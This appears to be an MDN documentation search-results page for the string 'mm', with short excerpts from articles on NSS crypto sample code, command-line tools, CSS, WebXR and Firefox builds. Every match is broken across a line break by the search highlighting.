mmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; /* generate the sy
mmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_false, pwdata); if (!key) { pr_fprintf(pr_stderr, "sy
mmetric ke...
...And 12 more matches
NSS Tools ssltap
using the ssl debugging tool (ssltap) newsgroup: mozilla.dev.tech.crypto the ssl debugging tool is an ssl-aware co
mmand-line proxy.
... description the ssltap co
mmand opens a socket on a rendezvous port and waits for an incoming connection from the client side.
... syntax to run the ssl debugging tool, type this co
mmand in a co
mmand shell: ssltap [-vhfsxl] [-p port] hostname:port options the co
mmand does not require any options other than hostname:port, but you normally use them to control the connection interception and output.
...And 12 more matches
Performance
when transactions are co
mmitted, sqlite does journaling which requires syncing data to disk.
...the asynchronous writes discussed below removes most of the i
mmediate penalty of a co
mmit, so you will not notice the problem as much.
...a co
mmand that will give you a higher level overview is "explain query plan".
...And 12 more matches
Document - Web APIs
" target="_top"><rect x="266" y="1" width="80" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">document</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} the document interface describes the co
mmon properties and methods for any kind of document.
... document.createco
mment() creates a new co
mment node and returns it.
... document.execco
mmand() on an editable document, executes a formating co
mmand.
...And 12 more matches
Value definition syntax - CSS: Cascading Style Sheets
css value definition syntax, a formal gra
mmar, is used for defining the set of valid values for a css property or function.
... literals in css, a few characters can appear on their own, like the slash ('/') or the co
mma (','), and are used in a property definition to separate its parts.
... the co
mma is often used to separate values in enumerations, or parameters in mathematical-like functions; the slash often separates parts of the value that are semantically different, but have a co
mmon syntax.
...And 12 more matches
Browser detection using the user agent - HTTP
if the problem seems unco
mmon, it's worth checking if this bug has been reported to the browser vendor via their bug tracking system (mozilla; webkit; blink; opera).
... mobile device detection arguably the most co
mmon use and misuse of user agent sniffing is to detect if the device is a mobile device.
...there a single instance of a dog box i
mmediately above a cat box, of course.
...And 12 more matches
Introduction - JavaScript
some progra
mming experience.
... if you are new to progra
mming, try one of the tutorials linked on the main page about javascript.
... where to find javascript information the javascript documentation on mdn includes the following: learn web development provides information for beginners and introduces basic concepts of progra
mming and the internet.
...And 12 more matches
MenuItems - Archive of obsolete content
features of the menuitem element the menuitem element has a number of features beyond just being a label for a menu co
mmand.
...for the "open" item in this example, this co
mmand can be invoked by using the "accel" modifier key and pressing 'o'.
...when the user activates the menuitem, the co
mmand event gets fired.
...And 11 more matches
Keyboard Shortcuts - Archive of obsolete content
however, it would be tedious to do that for every button and menu item (though it could be necessary when one's key co
mmands are only triggered when the user is focused on a particular element).
... example 1 : source view <menubar id="sample-menubar"> <menu id="file-menu" label="file" accesskey="f"> <menupopup id="file-popup"> <menuitem id="close-co
mmand" label="close" accesskey="c"/> </menupopup> </menu> </menubar> you can also use the accesskey attribute on buttons.
...this is the co
mmand key on the macintosh.
...And 11 more matches
Archived Mozilla and build documentation - Archive of obsolete content
it also includes tools for looking at checkin logs (and co
mments); doing diffs between various versions of a file; and finding out which person is responsible for changing a particular line of code ("cvsblame").
... creating a hybrid cd creating a microsu
mmary a microsu
mmary generator is a set of instructions for creating a microsu
mmary from the content of a page.
... web pages can reference generators via <link rel="microsu
mmary"> elements in their <head> elements.
...And 11 more matches
JavaScript basics - Learn web development
previous overview: getting started with the web next javascript is a progra
mming language that adds interactivity to your website.
... javascript ("js" for short) is a full-fledged dynamic progra
mming language that can add interactivity to a website.
...these include: browser application progra
mming interfaces (apis) built into web browsers, providing functionality such as dynamically creating html and setting css styles; collecting and manipulating a video stream from a user's webcam, or generating 3d graphics and audio samples.
...And 11 more matches
Arrays - Learn web development
creating arrays arrays consist of square brackets and elements that are separated by co
mmas.
...paste the following code into the console: let shopping = ['bread', 'milk', 'cheese', 'hu
mmus', 'noodles']; shopping; in the above example, each element is a string, but in an array we can store various data types — strings, numbers, objects, and even other arrays.
...try this: shopping[0] = 'tahini'; shopping; // shopping will now return [ "tahini", "milk", "cheese", "hu
mmus", "noodles" ] note: we've said it before, but just as a reminder — computers start counting from 0!
...And 11 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
to avoid co
mmon pitfalls, we'll have to dig a little deeper into svelte's reactivity system.
... prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
...so far, we've seen how components can share data using props, and co
mmunicate with their parents using events and two-way data binding.
...And 11 more matches
Simple SeaMonkey build
you can build a bleeding-edge, development version of seamonkey using the co
mmands below.
...minimum and reco
mmended hardware requirements for mozilla development are: reco
mmended: 8gb of ram (having only 4gb ram and 4gb swap may give memory errors during compile) 35 gb free disk space.
... this will accomodate visual studio 2013 co
mmunity edition, the required sdks, the mozillabuild package, the mercurial source repository and enough free disk space to compile.
...And 11 more matches
Simple Thunderbird build
8 gb or more is reco
mmended.
...you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild co
mmand prompt per windows build prerequisite).
...then, get the latest thunderbird source code from mozilla's co
mm-central mercurial code repository.
...And 11 more matches
Message manager overview
message managers are designed to enable code in one process to co
mmunicate with code in a different process.
... process message managers: these correspond to process boundaries, and enable code running in the parent (chrome) process to co
mmunicate with code running in the child (content) process.
... frame message managers in multiprocess firefox, when chrome code needs to interact with web content, it needs to: factor the code that needs direct access to content into separate scripts, which are called "frame scripts" use a frame message manager to load these frame scripts into the content process use the frame message manager api to co
mmunicate with the frame script some older articles on multiprocess firefox and the message manager might refer to "content scripts" instead of "frame scripts", but this usage is deprecated because the add-on sdk uses "content script" to refer to a similar but different kind of script.
...And 11 more matches
How to implement a custom autocomplete search component
basic example for gecko 2.0 and up (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this example is your first best try because: it has no specific logic (it just returns a du
mmy array of choices) it doesn't care about compatibility with older gecko versions first copy the following javascript code into a file named basic_autocomplete.js into the components directory (or whatever components folder is appropriate in your case): warning: the uuid used below in chrome.manifest and assigned to class_id must be changed before use.
...nge this const class_name = "basic autocomplete"; const contract_id = '@mozilla.org/autocomplete/search;1?name=basic-autocomplete'; /** * @constructor * * @implements {nsiautocompleteresult} * * @param {string} searchstring * @param {number} searchresult * @param {number} defaultindex * @param {string} errordescription * @param {array.<string>} results * @param {array.<string>|null=} co
mments */ function providerautocompleteresult(searchstring, searchresult, defaultindex, errordescription, results, co
mments) { this._searchstring = searchstring; this._searchresult = searchresult; this._defaultindex = defaultindex; this._errordescription = errordescription; this._results = results; this._co
mments = co
mments; } providerautocompleteresult.prototype = { _searchstring:...
... "", _searchresult: 0, _defaultindex: 0, _errordescription: "", _results: [], _co
mments: [], /** * @return {string} the original search string */ get searchstring() { return this._searchstring; }, /** * @return {number} the result code of this result object, either: * result_ignored (invalid searchstring) * result_failure (failure) * result_nomatch (no matches found) * result_success (matches found) */ get searchresult() { return this._searchresult; }, /** * @return {number} the index of the default item that should be entered if * none is selected */ get defaultindex() { return this._defaultindex; }, /** * @return {string} description of the cause of a search failure */ get errordescript...
...And 11 more matches
Localizing without a specialized tool
with that document, users can see i
mmediately two localized files in their user interface by following closely and carefully the steps to create a language pack or a binary file that is ready for installation.
...older structure in all examples: your working directory (root) mozilla-1.9.2 (en-us source, pulled from http://hg.mozilla.org/releases/mozilla-1.9.2) l10n-mozilla-1.9.2 (a directory containing localization directories, one dir per localization; often referred to as "l10n base") x-testing (a directory with your localization files) please either follow this structure closely or adjust all co
mmands in the documentation as needed by your custom set-up.
... get the source change your current directory to your working directory with the following co
mmand: $ cd /path/to/your/working/directory first, you will need to check out the sources of mozilla-1.9.2 together with the en-us strings.
...And 11 more matches
Release phase
we'll primarily focus on getting your release repository setup and the mercurial co
mmands you'll need to know to use that repository.
... add the following lines to your ~/.ssh/config file, replacing user@host.domain with your mozilla ldap account name: host hg.mozilla.org user user@host.domain if you have already cloned the remote repository using the http protocol using this co
mmand: $ hg clone http://hg.mozilla.org/releases/l10n-central/x-testing then you will need to edit the .hg/hgrc file (inside the x-testing local clone) to tell mercurial to push using ssh.
... your .hg/hgrc file shoud look like this (add the emphasized line): [paths] default = hg.mozilla.org/releases/l10n-central/x-testing default-push = ssh://hg.mozilla.org/releases/l10n-central/x-testing if you haven't already cloned the remote repository, enter this co
mmand: hg clone ssh://hg.mozilla.org/releases/l10n-central/x-testing mercurial will let you know that it's cloning the repository: destination directory: x-testing requesting all changes adding changesets adding manifests adding file changes added 4 changesets with 242 changes to 239 files updating to branch default 239 files updated, 0 files merged, 0 files removed, 0 files unresolved the default push url is the same as the default pull url (i.e., ssh://hg.mozilla.org/releases/l10n-central/x-testing).
...And 11 more matches
NSS Sample Code Sample1
this program shows the following: rsa key pair generation naming rsa key pairs looking up a previously generated key pair by name creating aes and mac keys (or encryption and mac keys in general) wrapping sy
mmetric keys using your own rsa key pair so that they can be stored on disk or in a database.
... as an alternative to token sy
mmetric keys as a way to store large numbers of sy
mmetric keys wrapping sy
mmetric keys using an rsa key from another server unwrapping keys using your own rsa key pair the main part of the program shows a typical sequence of events for two servers that are trying to extablish a shared key pair.
...the primary host generates a new sy
mmetric key.
...And 11 more matches
NSS tools : crlutil
please contribute to the initial review in mozilla nss bug 836477[1] description the certificate revocation list (crl) management tool, crlutil, is a co
mmand-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... to run the certificate revocation list management tool, type the co
mmand crlutil option [arguments] where options and arguments are combinations of the options and arguments listed in the following section.
... each co
mmand takes one option.
...And 11 more matches
NSS Tools crlutil
using the certificate revocation list management tool newsgroup: mozilla.dev.tech.crypto the certificate revocation list (crl) management tool is a co
mmand-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... syntax to run the certificate revocation list management tool, type the co
mmand crlutil option [arguments] where options and arguments are combinations of the options and arguments listed in the following section.
... each co
mmand takes one option.
...And 11 more matches
NSS tools : crlutil
synopsis crlutil [options] arguments description the certificate revocation list (crl) management tool, crlutil, is a co
mmand-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... to run the certificate revocation list management tool, type the co
mmand crlutil option [arguments] where options and arguments are combinations of the options and arguments listed in the following section.
... each co
mmand takes one option.
...And 11 more matches
Bytecode Descriptions
int32 operands: (int32_t val) stack: ⇒ val push the int32_t i
mmediate operand as an int32value.
... int8 operands: (int8_t val) stack: ⇒ val push the int8_t i
mmediate operand as an int32value.
... uint16 operands: (uint16_t val) stack: ⇒ val push the uint16_t i
mmediate operand as an int32value.
...And 11 more matches
WebGL best practices - Web APIs
webgl is a complicated api, and it's often not obvious what the reco
mmended ways to use it are.
... this page tackles reco
mmendations across the spectrum of expertise, and not only highlights dos and don'ts, but also details why.
... flush when expecting results (like queries or rendering frame completion) flush tells the implementation to push all pending co
mmands out for execution, flushing them out of the queue, instead of waiting for more co
mmands to enqueue before sending for execution.
...And 11 more matches
Fundamentals of WebXR - Web APIs
a wide fov can substantially improve the user's sense of i
mmersion.
... there are two vr session modes available in webxr: inline and i
mmersive.
...the i
mmersive session mode is indicated using the session mode i
mmersive-vr.
...And 11 more matches
Starting up and shutting down a WebXR session - Web APIs
falling back to the webxr polyfill one fallback option is the webxr polyfill, provided by the i
mmersive web working group that's in charge of the webxr standardization process.
...first among these is that use of i
mmersive-vr mode—which entirely replaces the user's view of the world—requires that the xr-spatial-tracking feature policy be in place.
...this can also be used to determine whether to use an i
mmersive or an inline presentation, for example.
...And 11 more matches
<input type="month"> - HTML: Hypertext Markup Language
the value is a string whose value is in the format "yyyy-
mm", where yyyy is the four-digit year and
mm is the month number.
... events change and input supported co
mmon attributes autocomplete, list, readonly, and step.
... value a domstring representing the value of the month and year entered into the input, in the form yyyy-
mm (four or more digit year, then a hyphen ("-"), followed by the two-digit month).
...And 11 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
« previousnext » this document was authored by taiga (gomita) gomibuchi and was originally published in japanese for the firefox developers conference su
mmer 2007.
... setting up your development environment in order to develop (and test) extensions in a most convenient way it is reco
mmended to apply some changes to firefox.
...this isn’t a requirement for extension development, but i reco
mmend it as a way to work more efficiently.
...And 10 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
note also that when you call methods on the install--as you do so often in installation scripts (getfolder, initinstall, addfile, and performinstall are all examples of co
mmon install object methods)--the install object is implicit; like the window object in regular web page scripts, the install object does not need to be prefixed to the method.
...es disk space in kilobytes function verifydiskspace(dirpath, spacerequired) { var spaceavailable; // get the available disk space on the given path spaceavailable = filegetdiskspaceavailable(dirpath); // convert the available disk space into kilobytes spaceavailable = parseint(spaceavailable / 1024); // do the verification if(spaceavailable < spacerequired) { logco
mment("insufficient disk space: " + dirpath); logco
mment(" required : " + spacerequired + " k"); logco
mment(" available: " + spaceavailable + " k"); return(false); } return(true); } in the verifydiskspace block, filegetdiskspaceavailable is called with dirpath as its expected input.
... this input is defined in line 22, where getfolder() is used to assign a value to the co
mmunicatorfolder variable representing the "program" folder on the local system: var co
mmunicatorfolder = getfolder("program"); spaceavailable = filegetdiskspaceavailable(dirpath); spacerequired, the other expected input to the verifydiskspace function, is given as 17311 kilobytes on line 19.
...And 10 more matches
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
you can find a list of uris for the most co
mmonly overlaid documents at the bottom of this page.
... adding the toolbar button toolkit applications have customizable toolbars; therefore, it's co
mmon practice for extensions to add their toolbar buttons to the toolbar palette, rather than adding them directly to the toolbar.
... the latter is possible, but is not reco
mmended and is harder to implement.
...And 10 more matches
textbox - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... possible values: pasteintact paste newlines unchanged pastetofirst paste text up to the first newline, dropping the rest of the text replacewithco
mmas pastes the text with the newlines replaced with co
mmas replacewithspaces pastes the text with newlines replaced with spaces strip pastes the text with the newlines removed stripsurroundingwhitespace pastes the text with newlines and adjacent whitespace removed onblur type: script code this event is sent when a textbox loses keyboard focus.
... searchbutton type: boolean if true, the search field will only fire a co
mmand event when the user presses the search button or presses the enter key.
...And 10 more matches
Windows Media in Netscape - Archive of obsolete content
activexobject both geckoactivexobject and activexobject work very similarly, with one key difference: both take a progra
mmatic id (progid) and use it to create a reference to the windows media player.
...for example if (window.activexobject) { // internet explorer only script } server-side detection using user-agent strings netscape 7.1's user agent string on windows has the general pattern: mozilla/5.0 (windows; u; <em>operating system version</em>; <em>language</em>; rv:1.4) gecko/20030624 netscape/7.1 (ax<em>[;optional co
mments]</em>) the "vendor co
mment" (ax) following the "vendor version" netscape/7.1 is an indicator that the browser supports the windows media player activex control.
... for example on windows xp, netscape 7.1's user agent string may be: mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.4) gecko/20030624 netscape/7.1 (ax) if the client was customized by a third party, additional information may be present in the "vendor co
mment" area of the user agent string.
...And 10 more matches
Anatomy of a video game - Game development
experienced game progra
mmers who are new to web development could also benefit, too.
...not surprisingly, this pattern corresponds to how a game engine is progra
mmed.
...on the web, window.requestanimationframe() will be the foundation of most well-progra
mmed per-frame main loops.
...And 10 more matches
How do I use GitHub Pages? - Learn web development
publishing content github is a very important and useful co
mmunity to get involved in, and git/github is a very popular version control system — most tech companies now use it in their workflow.
...to do this: point the co
mmand line to your test-site directory (or whatever you called the directory containing your website).
... for this, use the cd co
mmand (i.e.
...And 10 more matches
Introduction to web APIs - Learn web development
application progra
mming interfaces (apis) are constructs made available in progra
mming languages to allow developers to create complex functionality more easily.
... image source: overloaded plug socket by the clear co
mmunication people, on flickr.
...note that javascript is also available in other progra
mming environments, such as node.
...And 10 more matches
Gecko info for Windows accessibility vendors
(i reco
mmend sdk 1.3 because the msaa sdk 2.0 doesn't come with the source code to the testing tools.
... ajax: asynchronous javascript and xml ajax is a method of building interactive web applications that process user requests, user actions i
mmediately in real time, unlike an http request, during which users must wait for a whole page to reload or for a new page to load.
...this is done to ensure a co
mmon look and feel across all supported platforms, and to allow for different skins (appearances).
...And 10 more matches
DMD
desktop firefox (linux) build build firefox with these options: ac_add_options --enable-dmd if building via try server, modify browser/config/mozconfigs/linux64/co
mmon-opt or a similar file before pushing.
...with the following co
mmand.
... $ killall -34 firefox each one of these steps triggers all the memory reporters and then dmd analyzes the reports, printing co
mmentary like this: dmd[5222] opened /tmp/dmd-1414556492-5222.json.gz for writing dmd[5222] dump 1 { dmd[5222] constructing the heap block list...
...And 10 more matches
Mozilla internal string guide
co
mmon read-only methods: .length() - the number of code units (bytes for 8-bit string classes and char16_ts for 16-bit string classes) in the string.
... co
mmon methods that modify the string: .assign(string) - assigns a new value to the string.
...you can see both of these uses in co
mmon patterns, below.
...And 10 more matches
Migrating from Firebug - Firefox Developer Tools
it shows log information associated with a web page and allows you to execute javascript expressions via its co
mmand line.
... co
mmand line api the co
mmand line api in firebug provides some special functions for your convenience.
... the developer tools co
mmand line has some functions in co
mmon, but also has some other functions and misses others.
...And 10 more matches
Introduction to the DOM - Web APIs
the document object model (dom) is a progra
mming interface for html and xml documents.
...that way, progra
mming languages can connect to the page.
...the dom is not a progra
mming language, but without it, the javascript language wouldn't have any model or notion of web pages, html documents, xml documents, and their component parts (e.g.
...And 10 more matches
PerformanceResourceTiming - Web APIs
performanceresourcetiming.workerstartread only returns a domhighrestimestamp i
mmediately before dispatching the fetchevent if a service worker thread is already running, or i
mmediately before starting the service worker thread if it is not already running.
... performanceresourcetiming.redirectendread only a domhighrestimestamp i
mmediately after receiving the last byte of the response of the last redirect.
... performanceresourcetiming.fetchstartread only a domhighrestimestamp i
mmediately before the browser starts to fetch the resource.
...And 10 more matches
ARIA annotations - Accessibility
an addition and/or deletion in an editable document), and co
mments (e.g.
... an editorial co
mment related to a part of a document under review).
... role="co
mment" — semantically denotes a co
mment/reaction to some content on the page, or to a previous co
mment.
...And 10 more matches
CSS values and units - CSS: Cascading Style Sheets
there are a co
mmon set of data types -- values and units -- that css properties accept.
... .box { background-image: url("images/my-background.png"); } .box { background-image: url("https://www.exa
mmple.com/images/my-background.png"); } the parameter for url() can be either quoted or unquoted.
...for example,
mm is a physical millimeter, 1/10th of a centimeter.
...And 10 more matches
height - SVG: Scalable Vector Graphics
specifications specification status co
mment filter effects module level 1the definition of 'height' in that specification.
... candidate reco
mmendation definition for <mask> scalable vector graphics (svg) 2the definition of 'height' in that specification.
... candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'height' in that specification.
...And 10 more matches
width - SVG: Scalable Vector Graphics
specifications specification status co
mment filter effects module level 1the definition of 'width' in that specification.
... candidate reco
mmendation definition for <mask> scalable vector graphics (svg) 2the definition of 'width' in that specification.
... candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'width' in that specification.
...And 10 more matches
Content Scripts - Archive of obsolete content
a message-passing api allows the main code and content scripts to co
mmunicate with each other this complete add-on illustrates all of these principles.
...it takes one of: "start": load the scripts i
mmediately after the document element for the page is inserted into the dom.
...function() { window.alert("it's my click now!"); } </script> </body> </html> for these reasons, it's better to add event listeners using addeventlistener(), defining the listener as a function: var themessage = "hello from content script!"; anelement.onclick = function() { alert(themessage); }; anotherelement.addeventlistener("click", function() { alert(themessage); }); co
mmunicating with the add-on to enable add-on scripts and content scripts to co
mmunicate with each other, each end of the conversation has access to a port object.
...And 9 more matches
MenuButtons - Archive of obsolete content
the 'menu' button the 'menu' type of button is used when pressing the button alone should just open the menu and not execute a co
mmand directly.
... this works similarly to the menu tag, and would be used to present a set of co
mmands to execute.
...this is accomplished by dividing the button into two parts, one with the label and image to carry out the default co
mmand and the second to show the menu.
...And 9 more matches
key - Archive of obsolete content
when a key matching the attributes on the key element is pressed, the co
mmand will be fired on the key element.
... for the shortcut defined using the key element to work, you must specify a co
mmand attribute (or an onco
mmand handler) on the key element.
... to display the shortcut defined with the key element in the ui, you can use <menuitem key="key element's id" co
mmand="co
mmand id" .../>.
...And 9 more matches
prefwindow - Archive of obsolete content
on platforms where the convention is to apply changes i
mmediately, the preferences are adjusted as soon as the user interface element is changed.
...a true value for this preference makes the preference window apply i
mmediately the user choices, without waiting for the dialog to close with ok.
... note for mac os x: a co
mmon way of opening modal windows on mac os x that are not attached as a sheet to the main window is to use nsiwindowwatcher.openwindow() with a null parentwindow.
...And 9 more matches
Visual typescript game engine - Game development
text editor used and reco
mmended: visual studio code.
...networking is based on websocket full-duplex co
mmunication only.you must be conform with classic socket connection methodology.
...already implemented: -video chat webrtc (sip) chat and data co
mmunication.
...And 9 more matches
Floats - Learn web development
previous overview: css layout next originally for floating images inside blocks of text, the float property became one of the most co
mmonly used tools for creating multiple column layouts on webpages.
... floats have co
mmonly been used to create entire web site layouts featuring multiple columns of information floated so they sit alongside one another (the default behavior would be for the columns to sit below one another, in the same order as they appear in the source).
...proin blandit quam nec lacus varius co
mmodo et a urna.
...And 9 more matches
Getting started with React - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line.
...compilation is an extra step in the development process, but many developers in the react co
mmunity think that the readability of jsx is worthwhile.
... setting up your first react app there are many ways to use react, but we're going to use the co
mmand-line interface (cli) tool create-react-app, as mentioned earlier, which expedites the process of developing a react application by installing some packages and creating some files for you, handling the tooling described above.
...And 9 more matches
TypeScript support in Svelte - Learn web development
prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line.
...one of the big benefits is enabling ides to provide a richer environment for spotting co
mmon errors as you type the code.
...all you have to do is run the following terminal co
mmands (run them somewhere where you are storing your svelte test projects — it creates a new directory): npx degit sveltejs/template svelte-typescript-app cd svelte-typescript-app node scripts/setuptypescript.js this creates a starter project that includes typescript support, which you can then modify as you wish.
...And 9 more matches
Introduction to cross browser testing - Learn web development
overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross browser testing?", "what are the most co
mmon types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages.
... cross browser issues co
mmonly occur because: sometimes browsers have bugs, or implement features differently.
... in later articles, we'll explore co
mmon cross browser problems, and look at solutions to those.
...And 9 more matches
Client-side tooling overview - Learn web development
there are some extremely well-established tools that have become co
mmon "household names" amongst the development co
mmunity, and new tools are being written and released every day to solve specific problems.
... this part of the tooling should be specific to your own development environment, though it’s not unco
mmon for companies to have some kind of policy or pre-baked configuration available to install so that all their developers are all using the same processes.
... a few very co
mmon safety net tool types you will find being used by developers are as follows.
...And 9 more matches
Configuring Build Options
build options, including options not usable from the co
mmand-line, may appear in "confvars.sh" files in the source tree.
...(it is possible to manually call configure with co
mmand-line options, but this is not reco
mmended).
... the mozconfig file should be in your source directory (that is, /mozilla-central/mozconfig or /co
mm-central/mozconfig).
...And 9 more matches
The Firefox codebase: CSS Guidelines
basics here are some basic tips that can optimize reviews if you are changing css: avoid !important but if you have to use it, make sure it's obvious why you're using it (ideally with a co
mment).
... before adding more css it is good practice to check if the css that is being written is needed, it can be the case that a co
mmon component has been already written could be reused with or without changes.
... most of the time, the co
mmon component already follows the a11y/theme standards defined in this guide.
...And 9 more matches
Getting Started with Chat
general rules and etiquette once you have your client set up (see software below) and are connected, there are some basic rules you should follow to ensure the most enjoyable and productive experience: as with all mozilla forums and events, agreeing to our co
mmunity participation guidelines is a requirement for participation.
... channels here is a list of channels you should be aware of as a member of the mozilla co
mmunity: (remember to use irc.mozilla.org and port 6697 or 6667 for your server settings) #qa a channel for qa discussion #developers a channel for mozilla development discussion #sumo a channel for support with firefox for more information about the mozilla irc network and more channels, go here.
... co
mmands the following is a list of co
mmands you should be familiar with.
...And 9 more matches
IPDL Tutorial
ipdl, short for "inter-process-co
mmunication protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way.
...an ipdl protocol declares how actors co
mmunicate: it declares the possible messages that may be sent between actors, as well as a state machine describing when messages are allowed to be sent.
...this generated code manages the details of the underlying co
mmunication layer (sockets and pipes), constructing and sending messages, ensuring that all actors adhere to their specifications, and handling many error conditions.
...And 9 more matches
Encrypt Decrypt_MAC_Using Token
r "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } co
mmandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit.
... */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a sy
mmetric key.
...ysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the sy
mmetric key.
...And 9 more matches
EncDecMAC using token object - sample 3
encdecmac using token object example: <h2 id="nss_sample_code_3_hashing.">nss sample code 3: enc/dec/mac using token object id.</h2> <p class="su
mmary">computes the hash of a file and saves it to another file, illustrates the use of nss message apis.</p> <pre class="brush: cpp"> /* this source code form is subject to the terms of the mozilla public * license, v.
...kaid-----" #define mackey_header "-----begin mackey ckaid-----" #define mackey_trailer "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } co
mmandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr,...
...a final output file.\n\n", ""); exit(-1); } /* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a sy
mmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the sy
mmetr...
...And 9 more matches
Avoiding leaks in JavaScript XPCOM components
progra
mmers writing and reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks.
... this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of co
mmon javascript patterns that cause leaks.
...many progra
mming languages guarantee a solution for (2) and handle all the heap management for the progra
mmer.
...And 9 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
rendering the scene for i
mmersive presentation requires multiple renders of the scene—once from the perspective of each eye.
... this example demonstrates this by showing the canvas on the screen, even when presenting a scene as an i
mmersive display using an xr device.
...this example also imports the webxr polyfill maintained by the i
mmersive web working group, which is the team responsible for the webxr api's specification.
...And 9 more matches
window.location - Web APIs
phasellus adipiscing fermentum nibh ac co
mmodo.
...integer co
mmodo ultricies lorem, eget tincidunt risus viverra et.
...sed co
mmodo aliquam aliquam.
...And 9 more matches
XRSystem: requestSession() - Web APIs
while only one i
mmersive vr session can be active at a time, multiple inline sessions can be in progress at once.
...the supported modes are: i
mmersive-ar the session's output will be given exclusive access to the i
mmersive device, but the rendered content will be blended with the real-world environment.
... important: the i
mmersive-ar mode is defined by the webxr augmented reality module, which is not yet stable and should not be used other than for testing and experimentation.
...And 9 more matches
Rich-Text Editing in Mozilla - Developer guides
the most basic keyboard co
mmands such as copy and paste are available, all others need to be implemented by the website.
... executing co
mmands when an html document has been switched to designmode, the document object exposes the document.execco
mmand method which allows one to run co
mmands to manipulate the contents of the editable region.
... most co
mmands affect the document's selection (bold, italics, etc), while others insert new elements (adding a link) or affect an entire line (indenting).
...And 9 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
events change and input supported co
mmon attributes autocomplete, list, readonly, and step idl attributes list, value, valueasnumber.
...y">enter a date and time for your party booking:</label> <input id="party" type="datetime-local" name="partydate" value="2017-06-01t08:30"> one thing to note is that the displayed date and time formats differ from the actual value; the displayed date and time are formatted according to the user's locale as reported by their operating system, whereas the date/time value is always formatted yyyy-
mm-ddthh:
mm.
... additional attributes in addition to the attributes co
mmon to all <input> elements, datetime-local inputs offer the following attributes: attribute description max the latest date and time to accept min the earliest date and time to accept step the stepping interval to use for this input, such as when clicking arrows on spinner controls or performing validation max the latest date and time to...
...And 9 more matches
href - SVG: Scalable Vector Graphics
if the href attribute or the deprecated xlink:href attribute is not provided, then the target element will be the i
mmediate parent element of the current animation element.
... if the href attribute is not provided, then the target element will be the i
mmediate parent element of the <discard> element.
